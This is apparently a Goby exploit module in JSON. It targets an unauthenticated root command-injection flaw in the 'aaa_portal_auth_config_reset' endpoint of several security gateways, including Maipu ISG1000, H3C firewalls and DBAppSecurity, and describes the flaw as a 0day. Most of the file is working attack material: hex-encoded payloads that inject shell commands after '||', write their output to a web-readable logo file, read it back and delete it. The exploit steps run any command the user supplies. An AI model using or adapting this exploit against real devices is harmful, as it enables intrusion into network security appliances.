{
  "Name": "Multiple Security Gateway RCE aaa_portal_auth_config_reset",
  "Description": "A RCE in multiple security gateway. Affected products include maipu--isg1000-security-gateway , h3c-firewall, dbappsecurity-sg and others.",
  "Product": "Multiple Security Gateway",
  "Homepage": "https://gobies.org/",
  "DisclosureDate": "2021-06-07",
  "Author": "mojie@gmail.com",
  "GobyQuery": "header=\"Set-Cookie: USGSESSID\"",
  "Level": "3",
  "Impact": "<p>The attackers are allowed to execute any code with root privilege without any login crenditials.</p>",
  "Recommandation": "<p>1. For security devices, it's not recommended to make them accessable from Internet.</p><p>2. You should contact the product suppliance for help.</p>",
  "References": [
    "It's a 0day exploit, therefore there is no reference."
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "id"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/?g=aaa_portal_auth_config_reset&type=%31%32%36%37%64%61%64%61%6c%6a%61%37%6f%38%39%37%38%64%37%61%37%39%37%64%61%39%37%39%73%61%7c%7c%65%63%68%6f%20%76%75%6c%6e%5f%63%68%65%63%6b%5f%32%33%33%33%33%33%33%20%3e%20%2f%75%73%72%2f%6c%6f%63%61%6c%2f%77%65%62%75%69%2f%77%65%62%75%69%2f%69%6d%61%67%65%73%2f%62%61%73%69%63%2f%6c%6f%67%69%6e%2f%6d%61%69%6e%5f%6c%6f%67%6f%32%32%2e%74%78%74%20%7c%7c%20%6c%73%20",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/images/basic/login/main_logo22.txt",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "vuln_check_2333333",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/?g=aaa_portal_auth_config_reset&type=%31%32%36%37%64%61%64%61%6c%6a%61%37%6f%38%39%37%38%64%37%61%37%39%37%64%61%39%37%39%73%61%7c%7c%20%72%6d%20%2f%75%73%72%2f%6c%6f%63%61%6c%2f%77%65%62%75%69%2f%77%65%62%75%69%2f%69%6d%61%67%65%73%2f%62%61%73%69%63%2f%6c%6f%67%69%6e%2f%6d%61%69%6e%5f%6c%6f%67%6f%32%32%2e%74%78%74%20%7c%7c%20%6c%73%20",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "set_variable": [
          "cmdUrlEncoded|cmd|url_encode|{{{cmd}}}"
        ],
        "uri": "/webui/?g=aaa_portal_auth_config_reset&type=%31%32%36%37%64%61%64%61%6c%6a%61%37%6f%38%39%37%38%64%37%61%37%39%37%64%61%39%37%39%73%61%7c%7c%20{{{cmdUrlEncoded}}}%20%3e%20%2f%75%73%72%2f%6c%6f%63%61%6c%2f%77%65%62%75%69%2f%77%65%62%75%69%2f%69%6d%61%67%65%73%2f%62%61%73%69%63%2f%6c%6f%67%69%6e%2f%6d%61%69%6e%5f%6c%6f%67%6f%32%32%2e%74%78%74%20%7c%7c%20%6c%73%20",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": 200,
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/images/basic/login/main_logo22.txt",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "aaa|lastbody"
      ]
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/webui/?g=aaa_portal_auth_config_reset&type=%31%32%36%37%64%61%64%61%6c%6a%61%37%6f%38%39%37%38%64%37%61%37%39%37%64%61%39%37%39%73%61%7c%7c%20%72%6d%20%2f%75%73%72%2f%6c%6f%63%61%6c%2f%77%65%62%75%69%2f%77%65%62%75%69%2f%69%6d%61%67%65%73%2f%62%61%73%69%63%2f%6c%6f%67%69%6e%2f%6d%61%69%6e%5f%6c%6f%67%6f%32%32%2e%74%78%74%20%7c%7c%20%6c%73%20",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|aaa"
      ]
    }
  ],
  "Tags": [
    "RCE",
    "0day"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}